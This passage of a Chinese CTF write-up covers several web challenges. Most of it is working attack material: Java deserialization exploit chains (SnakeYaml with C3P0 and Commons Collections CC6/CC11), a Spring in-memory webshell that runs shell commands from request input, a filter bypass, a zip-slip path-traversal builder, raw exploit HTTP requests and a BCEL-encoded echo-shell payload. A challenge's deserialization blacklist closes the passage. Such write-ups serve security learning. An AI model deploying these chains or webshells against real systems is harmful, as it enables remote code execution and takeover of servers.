 &amp;#34; javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n&amp;#34; &amp;#43;
 &amp;#34; javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n&amp;#34; &amp;#43;
 &amp;#34; String[] cmd = new String[]{\&amp;#34;sh\&amp;#34;, \&amp;#34;-c\&amp;#34;, httprequest.getHeader(\&amp;#34;C\&amp;#34;)};\n&amp;#34; &amp;#43;
 &amp;#34; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\&amp;#34;\\\\A\&amp;#34;).next().getBytes();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().write(new String(result));\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().flush();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().close();\n&amp;#34; &amp;#43;
 &amp;#34; }&amp;#34;, clazz));
 // 兼容低版本jdk
 clazz.getClassFile().setMajorVersion(50);
 CtClass superClass = classPool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 return clazz;
 }

 public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate() throws Exception {

 CtClass clz = genPayloadForLinux();
 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl obj = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
 setFieldValue(obj, &amp;#34;_bytecodes&amp;#34;, new byte[][]{clz.toBytecode()});
 setFieldValue(obj, &amp;#34;_name&amp;#34;, &amp;#34;a&amp;#34;);
 setFieldValue(obj, &amp;#34;_tfactory&amp;#34;, new TransformerFactoryImpl());
 return obj;
 }
 static void addHexAscii(byte b, StringWriter sw)
 {
 int ub = b &amp;amp; 0xff;
 int h1 = ub / 16;
 int h2 = ub % 16;
 sw.write(toHexDigit(h1));
 sw.write(toHexDigit(h2));
 }

 private static char toHexDigit(int h)
 {
 char out;
 if (h &amp;lt;= 9) out = (char) (h &amp;#43; 0x30);
 else out = (char) (h &amp;#43; 0x37);
 //System.err.println(h &amp;#43; &amp;#34;: &amp;#34; &amp;#43; out);
 return out;
 }

 //将类序列化为字节数组
 public static byte[] tobyteArray(Object o) throws IOException {
 ByteArrayOutputStream bao = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(bao);
 oos.writeObject(o);
 return bao.toByteArray();
 }

 //字节数组转十六进制
 public static String toHexAscii(byte[] bytes)
 {
 int len = bytes.length;
 StringWriter sw = new StringWriter(len * 2);
 for (int i = 0; i &amp;lt; len; &amp;#43;&amp;#43;i)
 addHexAscii(bytes[i], sw);
 return sw.toString();
 }

 public static void main(String[] args) throws Exception {
 String hex = toHexAscii(tobyteArray(CC11()));
 String poc = &amp;#34;!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n&amp;#34; &amp;#43;
 &amp;#34;userOverridesAsString: HexAsciiSerializedMap:&amp;#34;&amp;#43;hex&amp;#43;&amp;#34;;&amp;#34;;
 System.out.println(poc);
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105984.png' alt="image-20250805192510236"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105006.png' alt="image-20250805192539599"&gt;&lt;/p&gt;
&lt;p&gt;再来看CC6&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class SnakeYaml_C3P0_CC6Exp {

 public static void main(String[] args) throws Exception {
 String hex = toHexAscii(tobyteArray(CC6()));
 String data = &amp;#34;!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \&amp;#34;HexAsciiSerializedMap:&amp;#34; &amp;#43; hex &amp;#43; &amp;#34;;\&amp;#34;}&amp;#34;;
 System.out.println(data);
 }

 public static Object CC6() throws Exception {
 byte[] bytes = Files.readAllBytes(Paths.get(&amp;#34;D:\\Project\\JavaSec\\C3P0\\target\\classes\\com\\p0l1st\\SpringControllerMemShell3.class&amp;#34;));
 TemplatesImpl templates = (TemplatesImpl) getTemplate(bytes);

 Transformer transformer = new InvokerTransformer(&amp;#34;getClass&amp;#34;, null, null);
 Map&amp;lt;Object,Object&amp;gt; lazyMap = LazyMap.decorate(new HashMap&amp;lt;&amp;gt;(), transformer);
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

 HashMap&amp;lt;Object,Object&amp;gt; hashMap = new HashMap&amp;lt;&amp;gt;();
 hashMap.put(tiedMapEntry, &amp;#34;p0l1st&amp;#34;);

 lazyMap.remove(templates);
 
 setFieldValue(transformer, &amp;#34;iMethodName&amp;#34;, &amp;#34;newTransformer&amp;#34;);

 return hashMap;
 }

 public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate(byte[] bytes) throws Exception {
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates, &amp;#34;_bytecodes&amp;#34;, new byte[][]{bytes});
 setFieldValue(templates, &amp;#34;_name&amp;#34;, &amp;#34;p0l1st&amp;#34;);
 setFieldValue(templates, &amp;#34;_tfactory&amp;#34;, new TransformerFactoryImpl());
 return templates;
 }

 public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception {
 Field classField = obj.getClass().getDeclaredField(fieldName);
 classField.setAccessible(true);
 classField.set(obj, fieldValue);
 }

 public static byte[] tobyteArray(Object o) throws Exception {
 ByteArrayOutputStream bao = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(bao);
 oos.writeObject(o);
 return bao.toByteArray();
 }

 public static String toHexAscii(byte[] bytes) {
 int len = bytes.length;
 StringBuilder sb = new StringBuilder(len * 2);
 for (byte b : bytes) {
 int ub = b &amp;amp; 0xff;
 String hex = Integer.toHexString(ub).toUpperCase();
 if (hex.length() &amp;lt; 2) sb.append(&amp;#39;0&amp;#39;);
 sb.append(hex);
 }
 return sb.toString();
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;package com.p0l1st;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;

/**
 * 适用于 SpringMVC&amp;#43;Tomcat的环境，以及Springboot 2.x 环境.
 * 因此比 SpringControllerMemShell.java 更加通用
 * Springboot 1.x 和 3.x 版本未进行测试
 */
@Controller
public class SpringControllerMemShell3 extends AbstractTranslet {

 public SpringControllerMemShell3() {
 try {
 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute(&amp;#34;org.springframework.web.servlet.DispatcherServlet.CONTEXT&amp;#34;, 0);
 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
 Method method2 = SpringControllerMemShell3.class.getMethod(&amp;#34;test&amp;#34;);
 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

 Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod(&amp;#34;getMappingForMethod&amp;#34;, Method.class, Class.class);
 getMappingForMethod.setAccessible(true);
 RequestMappingInfo info =
 (RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);

 SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3(&amp;#34;aaa&amp;#34;);
 mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
 } catch (Exception e) {

 }
 }

 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

 }

 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

 }

 public SpringControllerMemShell3(String aaa) {
 }

 @RequestMapping(&amp;#34;/malicious&amp;#34;)
 public void test() throws IOException {
 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
 HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
 try {
 String arg0 = request.getParameter(&amp;#34;cmd&amp;#34;);
 PrintWriter writer = response.getWriter();
 if (arg0 != null) {
 String o = &amp;#34;&amp;#34;;
 ProcessBuilder p;
 if (System.getProperty(&amp;#34;os.name&amp;#34;).toLowerCase().contains(&amp;#34;win&amp;#34;)) {
 p = new ProcessBuilder(new String[]{&amp;#34;cmd.exe&amp;#34;, &amp;#34;/c&amp;#34;, arg0});
 } else {
 p = new ProcessBuilder(new String[]{&amp;#34;/bin/sh&amp;#34;, &amp;#34;-c&amp;#34;, arg0});
 }
 java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter(&amp;#34;\\A&amp;#34;);
 o = c.hasNext() ? c.next() : o;
 c.close();
 writer.write(o);
 writer.flush();
 writer.close();
 } else {
 response.sendError(404);
 }
 } catch (Exception e) {
 }
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105053.png' alt="image-20250805211814530"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105065.png' alt="image-20250805211848211"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="ezutil"&gt;&lt;span&gt;ezUtil&lt;/span&gt;
 &lt;a href="#ezutil" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;com.polar.ctf.admin.api.controller.GetClasssController&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105125.png' alt="image-20250807010831293"&gt;&lt;/p&gt;
&lt;p&gt;这里存在反射可以调用任意方法&lt;/p&gt;
&lt;p&gt;再来看FileUtil，这里可以创建文件夹，删除文件夹，写zip，解压zip，并且unZipFile解压时存在目录穿越&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105496.png' alt="image-20250807011541785"&gt;&lt;/p&gt;
&lt;p&gt;那么就有任意文件上传了，至于写什么可以参考上面的&lt;strong&gt;一写一个不吱声&lt;/strong&gt;，直接往$JAVA_HOME/jre/classes写一个类，然后通过&lt;code&gt;GetClasssController&lt;/code&gt;去调用&lt;/p&gt;
&lt;p&gt;但是我们访问/admin/*会被Filter拦截&lt;/p&gt;
&lt;p&gt;可以用&lt;code&gt;/admin;/xxx/xxx;admin/&lt;/code&gt;来绕过&lt;/p&gt;
&lt;p&gt;恶意类&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.lang.reflect.Method;

public class Evil {
 public static boolean getShell(String code) throws Exception{
 ClassLoader classLoader = (ClassLoader) Class.forName(&amp;#34;com.sun.org.apache.bcel.internal.util.ClassLoader&amp;#34;).getDeclaredConstructor().newInstance();
 Method loadClassMethod = classLoader.getClass().getMethod(&amp;#34;loadClass&amp;#34;, String.class);
 Class&amp;lt;?&amp;gt; loadedClass = (Class&amp;lt;?&amp;gt;) loadClassMethod.invoke(classLoader, code);
 loadedClass.newInstance();
 return true;
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;zip&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import zipfile
import os
web_path = &amp;#34;/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/&amp;#34;
upload_file_name = &amp;#34;Evil.class&amp;#34;

files_to_zip = {
 &amp;#34;Evil.class&amp;#34;: &amp;#34;../../../../../../../../&amp;#34; &amp;#43; web_path &amp;#43; upload_file_name
}

# 指定输出ZIP文件的名称
zip_filename = &amp;#34;Evil.zip&amp;#34;

# 创建一个新的ZIP文件
with zipfile.ZipFile(zip_filename, &amp;#39;w&amp;#39;, zipfile.ZIP_DEFLATED) as zipf:
 for original_file, new_name in files_to_zip.items():
 # 检查文件是否存在
 if os.path.exists(original_file):
 # 使用arcname参数更改压缩包中的文件名
 zipf.write(original_file, arcname=new_name)
 else:
 print(f&amp;#34;文件 {original_file} 不存在，跳过压缩&amp;#34;)

print(f&amp;#34;已创建 ZIP 文件: {zip_filename}&amp;#34;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;我们先上传zip&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /admin;/api/GetClassValue;admin/ HTTP/1.1
Host: 93d64b59-6fd1-49e0-8b9a-fd9271b2ad14.www.polarctf.com:8090
Content-Type: application/json

{
 &amp;#34;data&amp;#34;: {
 &amp;#34;clazzName&amp;#34;: &amp;#34;com.polar.ctf.admin.util.FileUtil&amp;#34;,
 &amp;#34;fieldName&amp;#34;: [
 &amp;#34;UEsDBBQAAAAIAHMRB1udM22/owIAAFcFAABPAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xpYi9qdm0vamF2YS04LW9wZW5qZGstYW1kNjQvanJlL2NsYXNzZXMvRXZpbC5jbGFzc41UW1PTUBD&amp;#43;Dg1NW6JACxRRVFQkTSEV8YZFRG7qTMGHOjjoUxoObTAkTJpW/U&amp;#43;8&amp;#43;FIdZ3R49kc57kkKtBAdOtOzObvfXr7dTX7/&amp;#43;fELwAO8SiGOqQTUFCTkZGhC5mVMpzADXUZB2O8lMCvjvjDNpcjpoXh6JOMxQ3zBcix/kSGm5rYYpBV3hzP0lyyHbzb2K9x7a1Rs0qRLrmnYW4ZniXtbKfk1q04xSmtNyy4yJKrcL9e4bTMMq6U9o2kUbMOpFsq&amp;#43;ZznVYu49uZhBgvR5K0OfaRv1esk1drjHkO2ArJwaCNdv01Og2uB&amp;#43;zd1hGOvAenzX5qZfCG0irIDz0IFh8GxYQox0k/tycExw6Cx4QVskfGrts8kPfMt16jKe0L3sNjyTr1vCJymaoQs/BQMYZJg13X293nB016vqxoFh1rheMbmtW47PPcew9YZPHh0cFczjKfE8k1xBEQsMA6fqN5U9oirjmYJFPKeuR7ZMwRJeUGEnbeuKEbZfwTJWZKwqWMO6iPaSZiWYMGROsSe8GeRd19s09onwZNSoo7pM27HKacYeDYNa53sN03dp0nPqh3PwXMREO5wo3Ph/ATR2h396TXfDManIqa4cYd&amp;#43;6krRV4RK3u5RRo3gkCXC8eEsR3C9G5mQ9R/9loxfLcpruR6p&amp;#43;Xj1f6UX5DKkRakygnz4M4tcDJvaUzjTdCiQZyV7tG9jXwJyhMx4oYxiiUwkBGMYIySSyGCWUcD4knERyOd3zHbHYT0gt9JKItyAfIVHKt5BMpyTSb8fSfeUWlI3pPF3j2zGNbpeOIG3OtHD5nXQYZBOZRyiTyJal2BpkegUStM7JoBItzIYrGCOZRR5XcY2q06iicVynqorkcQM3KdZEu/JQc4s0t0kjkeYO/ScDpnf/AlBLAQIUABQAAAAIAHMRB1udM22/owIAAFcFAABPAAAAAAAAAAAAAAC2gQAAAAAuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvY2xhc3Nlcy9FdmlsLmNsYXNzUEsFBgAAAAABAAEAfQAAABADAAAAAA==&amp;#34;,
 &amp;#34;.&amp;#34;,
 &amp;#34;Evil&amp;#34;
 ],
 &amp;#34;methodName&amp;#34;: &amp;#34;generateZip&amp;#34;
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105766.png' alt="image-20250807021506713"&gt;&lt;/p&gt;
&lt;p&gt;然后解压&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /admin;/api/GetClassValue;admin/ HTTP/1.1
Host: 93d64b59-6fd1-49e0-8b9a-fd9271b2ad14.www.polarctf.com:8090
Content-Type: application/json

{
 &amp;#34;data&amp;#34;: {
 &amp;#34;clazzName&amp;#34;: &amp;#34;com.polar.ctf.admin.util.FileUtil&amp;#34;,
 &amp;#34;fieldName&amp;#34;: [
 &amp;#34;Evil.zip&amp;#34;
 ],
 &amp;#34;methodName&amp;#34;: &amp;#34;unZipFile&amp;#34;
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105777.png' alt="image-20250807021521506"&gt;&lt;/p&gt;
&lt;p&gt;最后传入&lt;code&gt;一写一个不吱声&lt;/code&gt;的回显马&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&amp;#34;data&amp;#34;:{&amp;#34;fieldName&amp;#34;:[&amp;#34;$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$d9w$TU$Y$ff$dd6$c9L$a7SJ$d3$966$y$d2$b2$s$F$S$caN$5b$95$d2$82E$da$82$a4PKA$9dNo$9b$a1$93$9903$v$F$f7$5dq$c3$NE$dc$Q$V$3d$3e$f1$S8z$e0$f8$ec$83$be$f8$ea$93O$fa$e2$7f$m$7e7$93$40$d2$W$b5$e7$f4$bb$f7$7e$fb$9e$f9$e9$ef$efo$C$d8$82o$VT$e1$a0$82$87pH$80$a4$8c$n$F$87qD$c6$b0$84$87$VH$Y$91pT$c1$u$8e$c98$$$e3$R$Z$8f$caxL$86$shc2t$Z$e3$S$b8$e0$98$901$v$p$a5$c0$c0$J$F$f5$98$92a$8a3$z$c3$92a$cb$c8$Ic$te8$S$5c$F$k$b2$CL$x8$85$Z$F$z8$z$e3$8c8$l$X$e0$J$ZO$caxJ$c2$d3$K$da$f0$8c$84g$ZB$5d$86ex$f71TFcG$Y$C$3d$f68g$a8$ed7$y$3e$98M$8fqgH$h3$J$T$ee$b7u$cd$3c$a29$86x$X$90$B$_e$b8$82$a6$db$e9Df$a3$d9$eez$89d$8a$9bf$t$83$dc$a5$9b$F$d5$V$d3$h$Z$ea$faOh$d3Z$c2$d4$ac$c9D$8f$a9$b9n$a7$m$b43$y$$$n8$7c$c2$e4$ba$97$Y$e0$5e$ca$k$cfsl$S$fa$efp$i$Y$3bA$My$caf$B$b6$I$b0U$80m$Cl$X$60$87$A$3b$cb$e5$92$9ecX$93$qW9$ddN$de$d4$8f$ceG$LNkN$3b$b9$d4XB$dc3$a3$f3$8cg$d8$W$d1k$92$9e$a6O$Nh$99$7c$fcTL$J$cfQ$v$a9V$Sz$v$ad$MJ$d2$ce$3a$3a$dfk$88$f4$u$f9$5c$c4$85$$$V$h$Q$97$f0$bc$8a$X$f0$a2$8a$97$f02C$97$edL$c6$dd$8c$b0$3d$e1hi$7e$cav$a6$e2$a7$f8X$5c$b7$z$8f$cfxq$87$9f$ccr$d7$8b$l$f2$cf$k$l$ddg$9b$e3$9c$ca$fd$8a$8aWq$96$a1a$92$7b$F$8en$8f$o$Z$cbz$9c$8aR$3b$x$dd$w$5e$c3$eb$M$Lg$a7$92BP$f1$G$ded$d8$f5$7f$fdIrg$da$9c$d7hu$de$X7c$5b$ae$88$ff$8eg$M$cb$84$e1$99$b8$eb$cb$de$d1Qd$ae$o$e6a$c7$f0$b8$a3$e2$z$e1$e9$ear$81$94$e7e$e2$7d$E$ca$ad$fb$82$7d$5c$a3$9c$94E$e7$XU$c59$bcME$d7$d3$e3$M$92$ed$c6$z$KL$c2$3b$w$de$c5$7b$w$de$c7y$o$O$ef$hT$f1$B$3e$a4$b6I$e8$c4$96$Y3$ac$84$9b$a2$e7$G$5d$c5$F$7cD8$91$W$cf$b4$a8$8f$f3$s$b2$9ea$s$92$bafY$a2$U$XU$7c$8cOT$7c$8a$cf$q$7c$ae$e2$S$be$Q$F$bfL$g$8eu$ab$f8$S_$a9$f8Z$98$KN$98Y$a18$a8$9b$b6EA$d7$cf$d3g$w$ae$e0$h$Ke$f6L14$dfmP$ca$C$lJ9$94$NjV$3d$eb8$dc$f2$8a$ef$86h$ac$7f6$X$f5t$p$a5$af$d0Y$f9$3e$e9$b7$fdTF$ca$d8KHBf$5e$C$95$c2$a4K$kC$e5$8b$ce$9d$b09$g$3b$fd$f2$V$a3$d85$8f$cc$e8$i$99$d8$bf$z$8c$90aM$dbS$94$da$9d$d1$b9$5bct$$$w6$dfn$a9$p$9fz$b9nj$O$l$_$faV$e3r$af$5b$d7$b9$eb$g$fe$ee$8b$k$V$L$b3$b4$e3N$bb$kO$fbCp$d0$b13$dc$f1N3$ac$f9$8f$3c$dc$5e$3e$d5$9e$7d8CB$3d$9a$Y$87$f2j$ddf$92$c5$yj$86E$J$5eR$aa$b8$t$a59I1$R$96$ce$3bcG$89Q$94$d5$afD$fd$dcJv$W$fb8$8f$3a$94$b5$3c$p$5d$i$d8$e2$a3$b1L$ac$80$s$c1$A$9f$e14$r$d1$e8$3c$x$b4T$82R$m$b2Un$aa$80dX$40$a6$f6Y$99$acG$92$5c$a3$ac5$V$cd$Zv$a2$84$40$e2$cd$d1y$J$o$fbj$d6$e5$bd$dc4$d2bo0$ac$bd$7b$aeK$HV$EaQ$bfSQ$c9$8b$fcN$lr4$9dbn$89$c6$ca$a3$w$92$f6$98$3cM$b3$d4$89V$ac$a7$l$5c$f1W$B$s$96$3a$c1$E$bd$St2$3a$83m$d7$c0$ae$e6$c9$h$J$86$f2$c8$Q$da$J$aa$3e$D6a3$9d2$7d$v$U$84$x$be$p$95$d5$A$d3$af$a3$o$87$cap$m$87$e0$fe$b6p$a8$f2$G$a4$i$e4$feu$8cnU9$u$D$F$86j$9fA$z2$b4$85k$K$d7$c1u$eb$L$bc$j$81$N$b7$af$c1$82$dc$C$92$L$d7$fa$ac$L$3bB$Fl$9d$c0$86$D$84$j$a9$M$d7$t$FI$8aH$e4DC$q$e4$c3H$a0$a8I$8eH$91$m$b1V$Rk$p$b1$w$3f$a2$be$a3$wt$83$a0$S$5et$jM94$87$p9$y$be$80pD$R$3c$R$r$Q$5e$92$bc$82Z$f1$5c$9a$7f$$$p$Y$8cT$r$pr$O$f7$84$97$97Z$8e$c8$be$f2$l$d02r$j$ad$R$r$87$V9$ac$bc$86U$e1$d59$ac$c9a$ad0$3a$ecKF$L$91D$e4$82$7b$F$7cl$O$fe$K$aa$f6$b7$e5$b0n$f8$aa$u$C$ha$c7$e8$L$a82_$o$HK$JVQy$U4Q$ZZ$nvw$Nv$60$BzP$8bA$y$c4$I$ea$60$p$8c$b3$f4$e9u$O$N8$8fF$5c$c6$oP$bc$b8$89f$fc$8c$I$7e$c5b$fcF$ba$7e$c72$fc$81$e5$f8$L$z$y$86V$d6$8d$Vl$E$ab$c9$e2Jv$i$ab$d8$Y$d6$e4$db$e1$M$d9Q$d9$A$b6b$h$bd$9a$d8nl$t$9b$8c$qv$60$t$3a$a8$81z$d8$ot$S$ae$S$83$ac$g$5d$84$L$60$84$dc$bf$97nA$f2$e7O$dcG$d4$Qy$f5$L$ee$a7$9bD$3e$e5$b0$8b$a82yv$J$dd$d8Mq$dd$c4E$8a$a3$X$KY$Pb$P$f6$92$b5$H$e8$7f$h$C$b7$c8$e1j$J$7d$S$f6Ix$b0$I$fd$8b$7f$df$_$a1$l$a8$beEY$a2$b4I$Y$I$92$87$83$f9$f6$3e$f0$P$a0V$dbq$f1$K$A$A&amp;#34;],&amp;#34;methodName&amp;#34;:&amp;#34;getShell&amp;#34;,&amp;#34;clazzName&amp;#34;:&amp;#34;Evil&amp;#34;}}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105831.png' alt="image-20250807021625819"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="ez_check"&gt;&lt;span&gt;ez_check&lt;/span&gt;
 &lt;a href="#ez_check" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105913.png' alt="image-20250807023100032"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/deserialize&lt;/code&gt;可以直接反序列化，KmpCheck方法会检验是否存在黑名单字符串&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.ldap
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.awt.
java.beans.
java.lang.ProcessBuilder
java.lang.Runtime
java.rmi.server.
java.security.
java.util.ServiceLoader
java.util.StringTokenizer
javassist.bytecode.annotation.
javassist.tools.web.Viewer
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.swing.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.codec.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.dom4j.
